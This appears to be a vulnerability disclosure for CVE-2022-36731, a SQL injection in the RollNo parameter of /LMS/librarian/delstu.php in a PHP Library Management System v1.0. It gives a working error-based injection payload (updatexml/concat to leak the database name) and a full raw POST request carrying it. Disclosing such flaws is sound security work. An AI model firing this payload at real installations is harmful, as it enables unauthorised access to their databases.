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CVE-2022-36731: bug_report/SQLi-21.md at main · k0xx11/bug_report
Library Management System v1.0 was discovered to contain a SQL injection vulnerability via the RollNo parameter at /librarian/delstu.php.
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Library Management System v1.0 by kingbhob02 has SQL injection
vendors: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
The program is built using the xmapp-php8.1 version
Vulnerability File: /LMS/librarian/delstu.php
Vulnerability location: /LMS/librarian/delstu.php, RollNo
[+] Payload: delete=&RollNo=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),0)–%20 // Leak place —> RollNo
POST /LMS/librarian/delstu.php HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: _ga=GA1.1.1382961971.1655097107 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 79 delete=&RollNo=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),0)–%20